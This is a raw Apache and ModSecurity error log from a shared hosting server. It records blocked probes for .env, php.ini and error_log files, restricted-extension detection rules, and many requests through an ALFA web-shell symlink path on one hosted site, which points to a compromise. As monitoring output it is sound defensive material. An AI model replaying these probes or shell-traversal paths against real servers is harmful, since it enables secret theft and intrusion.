[Mon Oct 26 19:57:39.201014 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8zS1e-yu7xYT1dr8HAAAAAk"]
[Mon Oct 26 19:57:39.439192 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/opt/app/.env"] [unique_id "at_o8z77nSD73jfhp0aESwAAAAc"]
[Mon Oct 26 19:57:39.439436 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/opt/app/.env"] [unique_id "at_o8z77nSD73jfhp0aESwAAAAc"]
[Mon Oct 26 19:57:39.440177 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8z77nSD73jfhp0aESwAAAAc"]
[Mon Oct 26 19:57:46.151627 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.89.90.224:30962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:50.377266 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.206.212.24:19915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:50.377491 2026] [security2:error] [pid 3122515:tid 3122515] [client 34.206.212.24:19915] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/cpu0/firmware_node/physical_node/online"] [unique_id "at_o_v9ZN9W71fUwv43PbAAAAAA"]
[Mon Oct 26 19:57:50.377514 2026] [security2:error] [pid 3122515:tid 3122515] [client 34.206.212.24:19915] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/cpu0/firmware_node/physical_node/online"] [unique_id "at_o_v9ZN9W71fUwv43PbAAAAAA"]
[Mon Oct 26 19:58:02.148908 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.225.45.252:48663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:14.189980 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.84.161.62:2170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:22.165433 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.205.74.196:31381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:30.149335 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.235.172.96:59916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:34.164042 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.205.163.103:48845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:38.211415 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.209.187.99:24630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:46.155052 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.148.226:18190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:54.252080 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.71.203.206:18688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:58:58.150483 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.207.47.227:5901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:59:09.130569 2026] [security2:error] [pid 3083765:tid 3083765] [client 16.216.88.167:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at_pTaFL9aMETz-8AU8g1AAAAAQ"]
[Mon Oct 26 19:59:09.131033 2026] [security2:error] [pid 3083765:tid 3083765] [client 16.216.88.167:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at_pTaFL9aMETz-8AU8g1AAAAAQ"]
[Mon Oct 26 19:59:09.131319 2026] [security2:error] [pid 3083765:tid 3083765] [client 16.216.88.167:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/010_mod_access_compat.conf"] [unique_id "at_pTaFL9aMETz-8AU8g1AAAAAQ"]
[Mon Oct 26 19:59:14.364784 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.225.87.80:38488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:59:27.070538 2026] [security2:error] [pid 3098113:tid 3098113] [client 184.94.112.250:10563] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at_pX7HarSgES5WqcDhITgAAAAU"]
[Mon Oct 26 19:59:27.070571 2026] [security2:error] [pid 3098113:tid 3098113] [client 184.94.112.250:10563] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at_pX7HarSgES5WqcDhITgAAAAU"]
[Mon Oct 26 19:59:34.517976 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.205.170.13:26149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:59:38.258684 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.44.174.136:39290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:59:42.451134 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.2.191.202:58130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:59:50.285423 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 18.214.251.19:12179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory9/subsystem/uevent
[Mon Oct 26 19:59:58.399965 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 35.174.253.85:21439] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:01.862331 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 85.208.96.203:51474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:04.529729 2026] [security2:error] [pid 3117426:tid 3117426] [client 181.51.150.255:56834] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok3.php"] [unique_id "at_phP5ZEdGRoel0j8feSwAAAAg"], referer: https://parkeranders.com/
[Mon Oct 26 20:00:06.251244 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.215.235.20:33446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:14.390958 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.209.89.189:44708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:26.212458 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 34.195.60.66:19662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:26.212687 2026] [security2:error] [pid 3117426:tid 3117426] [client 34.195.60.66:19662] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory12/removable"] [unique_id "at_pmv5ZEdGRoel0j8feTAAAAAg"]
[Mon Oct 26 20:00:26.212729 2026] [security2:error] [pid 3117426:tid 3117426] [client 34.195.60.66:19662] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory12/removable"] [unique_id "at_pmv5ZEdGRoel0j8feTAAAAAg"]
[Mon Oct 26 20:00:30.260892 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.216.13.10:14616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:38.357979 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.21.148.226:22893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:42.232799 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.235.191.179:6848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:00:50.440509 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 107.20.255.194:2333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:01:06.477681 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.22.64.232:20291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:01:22.322809 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.93.98.99:45383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:01:30.208555 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.194.134.53:8521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:01:38.461227 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.213.70.100:12834] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:01:42.356330 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.6.232.201:52725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/unbind
[Mon Oct 26 20:01:46.330444 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.159.98.248:53354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:02:02.238341 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.171.141.42:41616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:02:10.236435 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 107.20.181.148:17469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:02:30.481337 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.90.73.206:48707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:02:58.223246 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 98.83.10.183:26937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:02:59.485879 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 85.208.96.198:44984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/reclaim_account
[Mon Oct 26 20:03:01.593561 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.5:36758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__ex_table
[Mon Oct 26 20:03:06.529876 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.207.47.227:53567] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:22.446186 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.194.134.53:20616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:30.218026 2026] [ssl:error] [pid 3098116:tid 3098116] (5)Input/output error: [client 52.5.232.250:47539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:46.266974 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 35.169.102.85:4212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:50.258535 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.204.37.237:32436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:51.250359 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.18:29624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/aliases
[Mon Oct 26 20:03:54.257619 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 18.209.201.119:44873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:03:58.217410 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.93.211.16:56735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:04:02.245701 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.23.99.55:56970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:04:14.244159 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 44.213.36.21:59603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/virtio2/driver/uevent
[Mon Oct 26 20:04:34.241659 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.80.185.200:19191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:04:38.235978 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 44.221.180.179:45952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers_probe
[Mon Oct 26 20:04:40.300208 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 192.71.61.43:42309] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Mon Oct 26 20:04:46.326269 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 98.82.40.168:19602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:04:50.249943 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.221.244.28:55726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:02.235662 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.206.193.60:16467] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:06.515167 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.21.228.180:60611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:08.782896 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.9:40732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/remote_node_defrag_ratio
[Mon Oct 26 20:05:14.248846 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.217.255.167:14305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:26.220845 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 18.214.186.220:2529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/remove_id
[Mon Oct 26 20:05:26.221375 2026] [security2:error] [pid 3117428:tid 3117428] [client 18.214.186.220:2529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/remove_id"] [unique_id "at_qxiWN_iofYZIHyv47-gAAAAs"]
[Mon Oct 26 20:05:26.221407 2026] [security2:error] [pid 3117428:tid 3117428] [client 18.214.186.220:2529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/remove_id"] [unique_id "at_qxiWN_iofYZIHyv47-gAAAAs"]
[Mon Oct 26 20:05:30.216542 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.234.197.175:63608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:42.249849 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.23.112.144:48093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:05:46.269249 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 50.16.248.61:50379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/firmware_node/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Mon Oct 26 20:05:50.246791 2026] [security2:error] [pid 3117428:tid 3117428] [client 54.89.90.224:58940] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/button/"] [unique_id "at_q3iWN_iofYZIHyv47-wAAAAs"]
[Mon Oct 26 20:05:50.246839 2026] [security2:error] [pid 3117428:tid 3117428] [client 54.89.90.224:58940] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/button/"] [unique_id "at_q3iWN_iofYZIHyv47-wAAAAs"]
[Mon Oct 26 20:05:58.237553 2026] [ssl:error] [pid 3122519:tid 3122519] (5)Input/output error: [client 52.4.238.8:7677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:02.214882 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.93.211.16:1656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:06.922657 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.80.130.239:1633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:10.510251 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.226.106.93:7970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:14.395534 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.2.58.41:33825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:34.308979 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 3.215.59.93:34458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/subsystem/event3/device/device/drvctl
[Mon Oct 26 20:06:38.310109 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.209.100.30:27748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:46.405521 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.21.227.240:24965] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:51.886165 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.2:29474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/shrink
[Mon Oct 26 20:06:54.222421 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.225.138.57:31603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:06:58.312288 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.2.83.227:2034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:02.382460 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.210.29.96:27860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:18.252808 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.60.17:3543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:22.349466 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 23.23.214.190:17979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:30.480238 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.207.79.144:51888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:37.790109 2026] [security2:error] [pid 3098114:tid 3098114] [client 212.154.212.142:43349] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at_rSYU8RArHmY5bTmWu7wAAAAY"], referer: https://acquire.co.in/redirect.php?ref_host=udaaniitt.in
[Mon Oct 26 20:07:37.803232 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 212.154.212.142:43349] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://acquire.co.in/redirect.php?ref_host=udaaniitt.in
[Mon Oct 26 20:07:46.729601 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 194.163.147.128:59172] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:07:50.628180 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.223.115.10:53072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:07:54.925211 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 192.248.150.180:50460] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:08:03.561992 2026] [security2:error] [pid 3098113:tid 3098113] [client 149.107.244.244:36166] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok8.php"] [unique_id "at_rY7HarSgES5WqcDhIYwAAAAU"], referer: https://parkeranders.com/
[Mon Oct 26 20:08:03.673803 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.197:53808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/alloc_calls
[Mon Oct 26 20:08:10.412045 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 100.29.160.53:46718] AH02013: coalesce failed to read from data bucket
